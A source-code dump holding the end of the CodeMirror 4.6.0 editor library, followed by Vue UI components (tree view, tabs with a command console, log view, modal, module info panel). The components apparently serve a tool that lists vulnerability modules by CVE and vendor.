&& emitter._handlers[type]; if (!arr) return; var args = Array.prototype.slice.call(arguments, 2); for (var i = 0; i < arr.length; ++i) arr[i].apply(null, args); }; var orphanDelayedCallbacks = null; // Often, we want to signal events at a point where we are in the // middle of some work, but don't want the handler to start calling // other methods on the editor, which might be in an inconsistent // state or simply not expect any other events to happen. // signalLater looks whether there are any handlers, and schedules // them to be executed when the last operation ends, or, if no // operation is active, when a timeout fires. function signalLater(emitter, type /*, values...*/) { var arr = emitter._handlers && emitter._handlers[type]; if (!arr) return; var args = Array.prototype.slice.call(arguments, 2), list; if (operationGroup) { list = operationGroup.delayedCallbacks; } else if (orphanDelayedCallbacks) { list = orphanDelayedCallbacks; } else { list = orphanDelayedCallbacks = []; setTimeout(fireOrphanDelayed, 0); } function bnd(f) {return function(){f.apply(null, args);};}; for (var i = 0; i < arr.length; ++i) list.push(bnd(arr[i])); } function fireOrphanDelayed() { var delayed = orphanDelayedCallbacks; orphanDelayedCallbacks = null; for (var i = 0; i < delayed.length; ++i) delayed[i](); } // The DOM events that CodeMirror handles can be overridden by // registering a (non-DOM) handler on the editor for the event name, // and preventDefault-ing the event in that handler. function signalDOMEvent(cm, e, override) { signal(cm, override || e.type, cm, e); return e_defaultPrevented(e) || e.codemirrorIgnore; } function signalCursorActivity(cm) { var arr = cm._handlers && cm._handlers.cursorActivity; if (!arr) return; var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []); for (var i = 0; i < arr.length; ++i) if (indexOf(set, arr[i]) == -1) set.push(arr[i]); } function hasHandler(emitter, type) { var arr = emitter._handlers && emitter._handlers[type]; return arr && arr.length > 0; } // Add on and off methods to a constructor's prototype, to make // registering events on such objects more convenient. function eventMixin(ctor) { ctor.prototype.on = function(type, f) {on(this, type, f);}; ctor.prototype.off = function(type, f) {off(this, type, f);}; } // MISC UTILITIES // Number of pixels added to scroller and sizer to hide scrollbar var scrollerCutOff = 30; // Returned or thrown by various protocols to signal 'I'm not // handling this'. var Pass = CodeMirror.Pass = {toString: function(){return "CodeMirror.Pass";}}; // Reused option objects for setSelection & friends var sel_dontScroll = {scroll: false}, sel_mouse = {origin: "*mouse"}, sel_move = {origin: "+move"}; function Delayed() {this.id = null;} Delayed.prototype.set = function(ms, f) { clearTimeout(this.id); this.id = setTimeout(f, ms); }; // Counts the column offset in a string, taking tabs into account. // Used mostly to find indentation. var countColumn = CodeMirror.countColumn = function(string, end, tabSize, startIndex, startValue) { if (end == null) { end = string.search(/[^\s\u00a0]/); if (end == -1) end = string.length; } for (var i = startIndex || 0, n = startValue || 0;;) { var nextTab = string.indexOf("\t", i); if (nextTab < 0 || nextTab >= end) return n + (end - i); n += nextTab - i; n += tabSize - (n % tabSize); i = nextTab + 1; } }; // The inverse of countColumn -- find the offset that corresponds to // a particular column. function findColumn(string, goal, tabSize) { for (var pos = 0, col = 0;;) { var nextTab = string.indexOf("\t", pos); if (nextTab == -1) nextTab = string.length; var skipped = nextTab - pos; if (nextTab == string.length || col + skipped >= goal) return pos + Math.min(skipped, goal - col); col += nextTab - pos; col += tabSize - (col % tabSize); pos = nextTab + 1; if (col >= goal) return pos; } } var spaceStrs = [""]; function spaceStr(n) { while (spaceStrs.length <= n) spaceStrs.push(lst(spaceStrs) + " "); return spaceStrs[n]; } function lst(arr) { return arr[arr.length-1]; } var selectInput = function(node) { node.select(); }; if (ios) // Mobile Safari apparently has a bug where select() is broken. selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; }; else if (ie) // Suppress mysterious IE10 errors selectInput = function(node) { try { node.select(); } catch(_e) {} }; function indexOf(array, elt) { for (var i = 0; i < array.length; ++i) if (array[i] == elt) return i; return -1; } if ([].indexOf) indexOf = function(array, elt) { return array.indexOf(elt); }; function map(array, f) { var out = []; for (var i = 0; i < array.length; i++) out[i] = f(array[i], i); return out; } if ([].map) map = function(array, f) { return array.map(f); }; function createObj(base, props) { var inst; if (Object.create) { inst = Object.create(base); } else { var ctor = function() {}; ctor.prototype = base; inst = new ctor(); } if (props) copyObj(props, inst); return inst; }; function copyObj(obj, target, overwrite) { if (!target) target = {}; for (var prop in obj) if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop))) target[prop] = obj[prop]; return target; } function bind(f) { var args = Array.prototype.slice.call(arguments, 1); return function(){return f.apply(null, args);}; } var nonASCIISingleCaseWordChar = /[\u00df\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/; var isWordCharBasic = CodeMirror.isWordChar = function(ch) { return /\w/.test(ch) || ch > "\x80" && (ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch)); }; function isWordChar(ch, helper) { if (!helper) return isWordCharBasic(ch); if (helper.source.indexOf("\\w") > -1 && isWordCharBasic(ch)) return true; return helper.test(ch); } function isEmpty(obj) { for (var n in obj) if (obj.hasOwnProperty(n) && obj[n]) return false; return true; } // Extending unicode characters. A series of a non-extending char + // any number of extending chars is treated as a single unit as far // as editing and measuring is concerned. This is not fully correct, // since some scripts/fonts/browsers also treat other configurations // of code points as a group. var extendingChars = /[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/; function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch); } // DOM UTILITIES function elt(tag, content, className, style) { var e = document.createElement(tag); if (className) e.className = className; if (style) e.style.cssText = style; if (typeof content == "string") e.appendChild(document.createTextNode(content)); else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]); return e; } var range; if (document.createRange) range = function(node, start, end) { var r = document.createRange(); r.setEnd(node, end); r.setStart(node, start); return r; }; else range = function(node, start, end) { var r = document.body.createTextRange(); r.moveToElementText(node.parentNode); r.collapse(true); r.moveEnd("character", end); r.moveStart("character", start); return r; }; function removeChildren(e) { for (var count = e.childNodes.length; count > 0; --count) e.removeChild(e.firstChild); return e; } function removeChildrenAndAdd(parent, e) { return removeChildren(parent).appendChild(e); } function contains(parent, child) { if (parent.contains) return parent.contains(child); while (child = child.parentNode) if (child == parent) return true; } function activeElt() { return document.activeElement; } // Older versions of IE throws unspecified error when touching // document.activeElement in some cases (during loading, in iframe) if (ie && ie_version < 11) activeElt = function() { try { return document.activeElement; } catch(e) { return document.body; } }; function classTest(cls) { return new RegExp("\\b" + cls + "\\b\\s*"); } function rmClass(node, cls) { var test = classTest(cls); if (test.test(node.className)) node.className = node.className.replace(test, ""); } function addClass(node, cls) { if (!classTest(cls).test(node.className)) node.className += " " + cls; } function joinClasses(a, b) { var as = a.split(" "); for (var i = 0; i < as.length; i++) if (as[i] && !classTest(as[i]).test(b)) b += " " + as[i]; return b; } // WINDOW-WIDE EVENTS // These must be handled carefully, because naively registering a // handler for each editor will cause the editors to never be // garbage collected. function forEachCodeMirror(f) { if (!document.body.getElementsByClassName) return; var byClass = document.body.getElementsByClassName("CodeMirror"); for (var i = 0; i < byClass.length; i++) { var cm = byClass[i].CodeMirror; if (cm) f(cm); } } var globalsRegistered = false; function ensureGlobalHandlers() { if (globalsRegistered) return; registerGlobalHandlers(); globalsRegistered = true; } function registerGlobalHandlers() { // When the window resizes, we need to refresh active editors. var resizeTimer; on(window, "resize", function() { if (resizeTimer == null) resizeTimer = setTimeout(function() { resizeTimer = null; knownScrollbarWidth = null; forEachCodeMirror(onResize); }, 100); }); // When the window loses focus, we want to show the editor as blurred on(window, "blur", function() { forEachCodeMirror(onBlur); }); } // FEATURE DETECTION // Detect drag-and-drop var dragAndDrop = function() { // There is *some* kind of drag-and-drop support in IE6-8, but I // couldn't get it to work yet. if (ie && ie_version < 9) return false; var div = elt('div'); return "draggable" in div || "dragDrop" in div; }(); var knownScrollbarWidth; function scrollbarWidth(measure) { if (knownScrollbarWidth != null) return knownScrollbarWidth; var test = elt("div", null, null, "width: 50px; height: 50px; overflow-x: scroll"); removeChildrenAndAdd(measure, test); if (test.offsetWidth) knownScrollbarWidth = test.offsetHeight - test.clientHeight; return knownScrollbarWidth || 0; } var zwspSupported; function zeroWidthElement(measure) { if (zwspSupported == null) { var test = elt("span", "\u200b"); removeChildrenAndAdd(measure, elt("span", [test, document.createTextNode("x")])); if (measure.firstChild.offsetHeight != 0) zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8); } if (zwspSupported) return elt("span", "\u200b"); else return elt("span", "\u00a0", null, "display: inline-block; width: 1px; margin-right: -1px"); } // Feature-detect IE's crummy client rect reporting for bidi text var badBidiRects; function hasBadBidiRects(measure) { if (badBidiRects != null) return badBidiRects; var txt = removeChildrenAndAdd(measure, document.createTextNode("A\u062eA")); var r0 = range(txt, 0, 1).getBoundingClientRect(); if (!r0 || r0.left == r0.right) return false; // Safari returns null in some cases (#2780) var r1 = range(txt, 1, 2).getBoundingClientRect(); return badBidiRects = (r1.right - r0.right < 3); } // See if "".split is the broken IE version, if so, provide an // alternative way to split lines. var splitLines = CodeMirror.splitLines = "\n\nb".split(/\n/).length != 3 ? function(string) { var pos = 0, result = [], l = string.length; while (pos <= l) { var nl = string.indexOf("\n", pos); if (nl == -1) nl = string.length; var line = string.slice(pos, string.charAt(nl - 1) == "\r" ? nl - 1 : nl); var rt = line.indexOf("\r"); if (rt != -1) { result.push(line.slice(0, rt)); pos += rt + 1; } else { result.push(line); pos = nl + 1; } } return result; } : function(string){return string.split(/\r\n?|\n/);}; var hasSelection = window.getSelection ? function(te) { try { return te.selectionStart != te.selectionEnd; } catch(e) { return false; } } : function(te) { try {var range = te.ownerDocument.selection.createRange();} catch(e) {} if (!range || range.parentElement() != te) return false; return range.compareEndPoints("StartToEnd", range) != 0; }; var hasCopyEvent = (function() { var e = elt("div"); if ("oncopy" in e) return true; e.setAttribute("oncopy", "return;"); return typeof e.oncopy == "function"; })(); var badZoomedRects = null; function hasBadZoomedRects(measure) { if (badZoomedRects != null) return badZoomedRects; var node = removeChildrenAndAdd(measure, elt("span", "x")); var normal = node.getBoundingClientRect(); var fromRange = range(node, 0, 1).getBoundingClientRect(); return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1; } // KEY NAMES var keyNames = {3: "Enter", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt", 19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End", 36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert", 46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod", 107: "=", 109: "-", 127: "Delete", 173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\", 221: "]", 222: "'", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete", 63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert"}; CodeMirror.keyNames = keyNames; (function() { // Number keys for (var i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i); // Alphabetic keys for (var i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i); // Function keys for (var i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = "F" + i; })(); // BIDI HELPERS function iterateBidiSections(order, from, to, f) { if (!order) return f(from, to, "ltr"); var found = false; for (var i = 0; i < order.length; ++i) { var part = order[i]; if (part.from < to && part.to > from || from == to && part.to == from) { f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? "rtl" : "ltr"); found = true; } } if (!found) f(from, to, "ltr"); } function bidiLeft(part) { return part.level % 2 ? part.to : part.from; } function bidiRight(part) { return part.level % 2 ? part.from : part.to; } function lineLeft(line) { var order = getOrder(line); return order ? bidiLeft(order[0]) : 0; } function lineRight(line) { var order = getOrder(line); if (!order) return line.text.length; return bidiRight(lst(order)); } function lineStart(cm, lineN) { var line = getLine(cm.doc, lineN); var visual = visualLine(line); if (visual != line) lineN = lineNo(visual); var order = getOrder(visual); var ch = !order ? 0 : order[0].level % 2 ? lineRight(visual) : lineLeft(visual); return Pos(lineN, ch); } function lineEnd(cm, lineN) { var merged, line = getLine(cm.doc, lineN); while (merged = collapsedSpanAtEnd(line)) { line = merged.find(1, true).line; lineN = null; } var order = getOrder(line); var ch = !order ? line.text.length : order[0].level % 2 ? lineLeft(line) : lineRight(line); return Pos(lineN == null ? lineNo(line) : lineN, ch); } function lineStartSmart(cm, pos) { var start = lineStart(cm, pos.line); var line = getLine(cm.doc, start.line); var order = getOrder(line); if (!order || order[0].level == 0) { var firstNonWS = Math.max(0, line.text.search(/\S/)); var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch; return Pos(start.line, inWS ? 0 : firstNonWS); } return start; } function compareBidiLevel(order, a, b) { var linedir = order[0].level; if (a == linedir) return true; if (b == linedir) return false; return a < b; } var bidiOther; function getBidiPartAt(order, pos) { bidiOther = null; for (var i = 0, found; i < order.length; ++i) { var cur = order[i]; if (cur.from < pos && cur.to > pos) return i; if ((cur.from == pos || cur.to == pos)) { if (found == null) { found = i; } else if (compareBidiLevel(order, cur.level, order[found].level)) { if (cur.from != cur.to) bidiOther = found; return i; } else { if (cur.from != cur.to) bidiOther = i; return found; } } } return found; } function moveInLine(line, pos, dir, byUnit) { if (!byUnit) return pos + dir; do pos += dir; while (pos > 0 && isExtendingChar(line.text.charAt(pos))); return pos; } // This is needed in order to move 'visually' through bi-directional // text -- i.e., pressing left should make the cursor go left, even // when in RTL text. The tricky part is the 'jumps', where RTL and // LTR text touch each other. This often requires the cursor offset // to move more than one unit, in order to visually move one unit. function moveVisually(line, start, dir, byUnit) { var bidi = getOrder(line); if (!bidi) return moveLogically(line, start, dir, byUnit); var pos = getBidiPartAt(bidi, start), part = bidi[pos]; var target = moveInLine(line, start, part.level % 2 ? -dir : dir, byUnit); for (;;) { if (target > part.from && target < part.to) return target; if (target == part.from || target == part.to) { if (getBidiPartAt(bidi, target) == pos) return target; part = bidi[pos += dir]; return (dir > 0) == part.level % 2 ? part.to : part.from; } else { part = bidi[pos += dir]; if (!part) return null; if ((dir > 0) == part.level % 2) target = moveInLine(line, part.to, -1, byUnit); else target = moveInLine(line, part.from, 1, byUnit); } } } function moveLogically(line, start, dir, byUnit) { var target = start + dir; if (byUnit) while (target > 0 && isExtendingChar(line.text.charAt(target))) target += dir; return target < 0 || target > line.text.length ? null : target; } // Bidirectional ordering algorithm // See http://unicode.org/reports/tr9/tr9-13.html for the algorithm // that this (partially) implements. // One-char codes used for character types: // L (L): Left-to-Right // R (R): Right-to-Left // r (AL): Right-to-Left Arabic // 1 (EN): European Number // + (ES): European Number Separator // % (ET): European Number Terminator // n (AN): Arabic Number // , (CS): Common Number Separator // m (NSM): Non-Spacing Mark // b (BN): Boundary Neutral // s (B): Paragraph Separator // t (S): Segment Separator // w (WS): Whitespace // N (ON): Other Neutrals // Returns null if characters are ordered as they appear // (left-to-right), or an array of sections ({from, to, level} // objects) in the order in which they occur visually. var bidiOrdering = (function() { // Character types for codepoints 0 to 0xff var lowTypes = "bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN"; // Character types for codepoints 0x600 to 0x6ff var arabicTypes = "rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm"; function charType(code) { if (code <= 0xf7) return lowTypes.charAt(code); else if (0x590 <= code && code <= 0x5f4) return "R"; else if (0x600 <= code && code <= 0x6ed) return arabicTypes.charAt(code - 0x600); else if (0x6ee <= code && code <= 0x8ac) return "r"; else if (0x2000 <= code && code <= 0x200b) return "w"; else if (code == 0x200c) return "b"; else return "L"; } var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/; var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/; // Browsers seem to always treat the boundaries of block elements as being L. var outerType = "L"; function BidiSpan(level, from, to) { this.level = level; this.from = from; this.to = to; } return function(str) { if (!bidiRE.test(str)) return false; var len = str.length, types = []; for (var i = 0, type; i < len; ++i) types.push(type = charType(str.charCodeAt(i))); // W1. Examine each non-spacing mark (NSM) in the level run, and // change the type of the NSM to the type of the previous // character. If the NSM is at the start of the level run, it will // get the type of sor. for (var i = 0, prev = outerType; i < len; ++i) { var type = types[i]; if (type == "m") types[i] = prev; else prev = type; } // W2. Search backwards from each instance of a European number // until the first strong type (R, L, AL, or sor) is found. If an // AL is found, change the type of the European number to Arabic // number. // W3. Change all ALs to R. for (var i = 0, cur = outerType; i < len; ++i) { var type = types[i]; if (type == "1" && cur == "r") types[i] = "n"; else if (isStrong.test(type)) { cur = type; if (type == "r") types[i] = "R"; } } // W4. A single European separator between two European numbers // changes to a European number. A single common separator between // two numbers of the same type changes to that type. for (var i = 1, prev = types[0]; i < len - 1; ++i) { var type = types[i]; if (type == "+" && prev == "1" && types[i+1] == "1") types[i] = "1"; else if (type == "," && prev == types[i+1] && (prev == "1" || prev == "n")) types[i] = prev; prev = type; } // W5. A sequence of European terminators adjacent to European // numbers changes to all European numbers. // W6. Otherwise, separators and terminators change to Other // Neutral. for (var i = 0; i < len; ++i) { var type = types[i]; if (type == ",") types[i] = "N"; else if (type == "%") { for (var end = i + 1; end < len && types[end] == "%"; ++end) {} var replace = (i && types[i-1] == "!") || (end < len && types[end] == "1") ? "1" : "N"; for (var j = i; j < end; ++j) types[j] = replace; i = end - 1; } } // W7. Search backwards from each instance of a European number // until the first strong type (R, L, or sor) is found. If an L is // found, then change the type of the European number to L. for (var i = 0, cur = outerType; i < len; ++i) { var type = types[i]; if (cur == "L" && type == "1") types[i] = "L"; else if (isStrong.test(type)) cur = type; } // N1. A sequence of neutrals takes the direction of the // surrounding strong text if the text on both sides has the same // direction. European and Arabic numbers act as if they were R in // terms of their influence on neutrals. Start-of-level-run (sor) // and end-of-level-run (eor) are used at level run boundaries. // N2. Any remaining neutrals take the embedding direction. for (var i = 0; i < len; ++i) { if (isNeutral.test(types[i])) { for (var end = i + 1; end < len && isNeutral.test(types[end]); ++end) {} var before = (i ? types[i-1] : outerType) == "L"; var after = (end < len ? types[end] : outerType) == "L"; var replace = before || after ? "L" : "R"; for (var j = i; j < end; ++j) types[j] = replace; i = end - 1; } } // Here we depart from the documented algorithm, in order to avoid // building up an actual levels array. Since there are only three // levels (0, 1, 2) in an implementation that doesn't take // explicit embedding into account, we can build up the order on // the fly, without following the level-based algorithm. var order = [], m; for (var i = 0; i < len;) { if (countsAsLeft.test(types[i])) { var start = i; for (++i; i < len && countsAsLeft.test(types[i]); ++i) {} order.push(new BidiSpan(0, start, i)); } else { var pos = i, at = order.length; for (++i; i < len && types[i] != "L"; ++i) {} for (var j = pos; j < i;) { if (countsAsNum.test(types[j])) { if (pos < j) order.splice(at, 0, new BidiSpan(1, pos, j)); var nstart = j; for (++j; j < i && countsAsNum.test(types[j]); ++j) {} order.splice(at, 0, new BidiSpan(2, nstart, j)); pos = j; } else ++j; } if (pos < i) order.splice(at, 0, new BidiSpan(1, pos, i)); } } if (order[0].level == 1 && (m = str.match(/^\s+/))) { order[0].from = m[0].length; order.unshift(new BidiSpan(0, 0, m[0].length)); } if (lst(order).level == 1 && (m = str.match(/\s+$/))) { lst(order).to -= m[0].length; order.push(new BidiSpan(0, len - m[0].length, len)); } if (order[0].level != lst(order).level) order.push(new BidiSpan(order[0].level, len, len)); return order; }; })(); // THE END CodeMirror.version = "4.6.0"; return CodeMirror; }); ================================================ FILE: ui/js/components.js ================================================ var treeNodeTemplate = function(){/*
  • {{module.NAME}}
  • */}.toString().slice(14, -3); Vue.component('tree-node', { template: treeNodeTemplate, computed: { isChildrenInvisible: function() { return _.filter(this.$children, 'visible').length == 0; }, isFolder: function () { return !this.module.isFile; }, sortedChildren: function () { return _.sortBy(this.module.children, ['isFile', 'NAME']) } }, props: ['module', 'toFilter'], data: function () { return { opened: false, visible: true, folderIconOpened: 'glyphicon glyphicon-folder-open', folderIconClosed: 'glyphicon glyphicon-folder-close' } }, methods: { select: function() { if (!this.isFolder) { this.$dispatch('onTreeNodeSelected', this.$data, this.module); } else { this.opened = !this.opened; } }, edit: function() { this.$dispatch('onModuleEdit', this.module); }, run: function () { if (this.isFolder) { this.opened = !this.opened } else { this.$dispatch('onTreeNodeClicked', this.module); this.select(); } }, } }); var treeViewTemplate = function(){/*
    */}.toString().slice(14, -3); Vue.component('tree-view', { template: treeViewTemplate, props: { modules: [] }, data: function () { return { toSearch: '' } }, computed: { sortedModules: function () { return _.sortBy(this.modules, ['isFile', 'NAME']) } }, watch: { 'toSearch': function (newVal, oldVal) { this.search(this.$children); } }, methods: { search: function (children, parent) { var self = this; children.forEach(function(child, index) { if (child.$children && child.$children.length) { if (self.toSearch) child.opened = true; else child.opened = false; return self.search(child.$children, child); } else { var module = child.module; var toSearch = self.toSearch.toLowerCase(); if (module.NAME && module.NAME.toLowerCase().indexOf(toSearch) !== -1 || module.DESCRIPTION && module.DESCRIPTION.toLowerCase().indexOf(toSearch) !== -1 || module.VENDOR && module.VENDOR.toLowerCase().indexOf(toSearch) !== -1 || module.NOTES && module.NOTES.toLowerCase().indexOf(toSearch) !== -1 || module['CVE Name'] && module['CVE Name'].toLowerCase().indexOf(toSearch) !== -1){ child.visible = true; } else { child.visible = false; } } }) if (parent) { var visible_count = _.filter(children, 'visible').length; if (!visible_count) { parent.visible = false; } else { parent.visible = true; } } }, } }); var tab_view_template = function(){/*
     {{tab.listenerMessages}}
    */}.toString().slice(14,-3); Vue.component('tab-view', { template: tab_view_template, props: { tabs: Array /* tabs = { title: args.module_name, content: 'Starting ' + args.module_name, active: true, useListener: args.listener, listenerMessages: '', listenerState: null, state: null } */ }, data: function () { return { search: '', tabActive: 'active', command: '', history: [] } }, watch: { 'tabs.length': { handler: function (val, oldVal) { //make new tab active if(val > oldVal) { this.chooseTab(val - 1); } } } }, methods: { historyUp: function() { if (!this.history || !this.history.length) { return; } this.historyIndex -= 1; if (this.historyIndex < 0) { this.historyIndex = 0; } this.command = this.history[this.historyIndex]; }, historyDown: function() { if (!this.history || !this.history.length) { return; } this.historyIndex += 1; if (this.historyIndex >= this.history.length) { this.historyIndex = this.history.length; this.command = ''; return; } this.command = this.history[this.historyIndex]; }, closeTab: function(index) { var current_tab = this.tabs[index]; this.tabs.splice(index, 1); if(current_tab.active){ if (this.tabs.length <= index) { index -= 1; } this.chooseTab(index); } this.$dispatch('onTabClose', current_tab) if (!this.tabs.length) { setDefaultInfo(); } }, chooseTab: function(index) { if(!this.tabs.length) return; this.tabs.forEach(function(tab) { tab.active = false; }); this.tabs[index].active = true; showTabInfo(this.tabs[index]); }, send: function(index) { var tab = this.tabs[index]; tab.listenerMessages += "\n>> " + this.command; if (_.indexOf(this.history, this.command) !== -1) { this.history.splice(this.history.indexOf(this.command), 1); } this.history.push(this.command); this.historyIndex = this.history.length; this.$dispatch('onSendCommand', this.command, tab); this.command = ""; } }, }); var logViewTemplate = function(){/*
    {{getMessage($index)}}
    {{item.time}}: 

    */}.toString().slice(14,-3); Vue.component('re-log-view', { template: logViewTemplate, props: { messages: Array }, methods: { onImageClick: function(index) { var image = this.messages[index].message; this.$dispatch('onImageClick', image); }, getMessage: function(index) { var item = this.messages[index]; var resp = ''; if (item.time) { resp += item.time + ': ' } resp += item.message; return resp; } } }) var modal_dialog_template = function(){/*
    */}.toString().slice(14,-3) Vue.component('re-modal', { template: modal_dialog_template, props: { show: { twoWay: true, default: false }, title: { default: 'Modal' }, small: { default: false }, large: { default: false }, full: { default: false }, force: { default: false }, transition: { default: 'modal' }, okText: { default: 'OK' }, cancelText: { default: 'Cancel' }, okClass: { default: 'btn blue' }, cancelClass: { default: 'btn red btn-outline' }, closeWhenOK: { default: false }, showOk: { default: true } }, data: function() { return { duration: null } }, computed: { modalClass: function () { return { 'modal-lg': this.large, 'modal-sm': this.small, 'modal-full': this.full } } }, created: function() { if (this.show) { document.body.className += ' modal-open'; } }, beforeDestroy: function() { document.body.className = document.body.className.replace('modal-open', ''); }, watch: { show: function(value) { if (value) { document.body.className += ' modal-open'; } else { if (!this.duration) { this.duration = window.getComputedStyle(this.$el)['transition-duration'].replace('s', '') * 1000; } document.body.className = document.body.className.replace(' modal-open', ''); } } }, methods: { ok: function() { this.$emit('ok'); if (this.closeWhenOK) { this.show = false; } }, cancel: function() { this.$emit('cancel'); this.show = false; }, clickMask: function() { if (!this.force) { this.cancel(); } } } }) var moduleInfo = function(){/*
    Description: {{module.DESCRIPTION || 'N/A'}}
    Vendor: {{module.VENDOR}}
    N/A

    CVE: {{module['CVE Name'] || 'N/A'}}
    Links:
    1. {{link}}
    N/A

    Download link: {{module.DOWNLOAD_LINK}}
    N/A

    Notes:
    {{module.NOTES}}
    */}.toString().slice(14,-3) Vue.component('re-module-info', { template: moduleInfo, props: { module: Object }, computed: { displayInline: function() { return 'display: inline;' }, links: function () { var links = this.module.LINKS; if (links && links.length) { if (_.isString(links)) { links = [links]; } } return _.filter(links, function(link) { return link && link.length; }) } } }) var serviceMessagesTemplate = function(){/* {{messages.length}}
    • {{entry.message}}
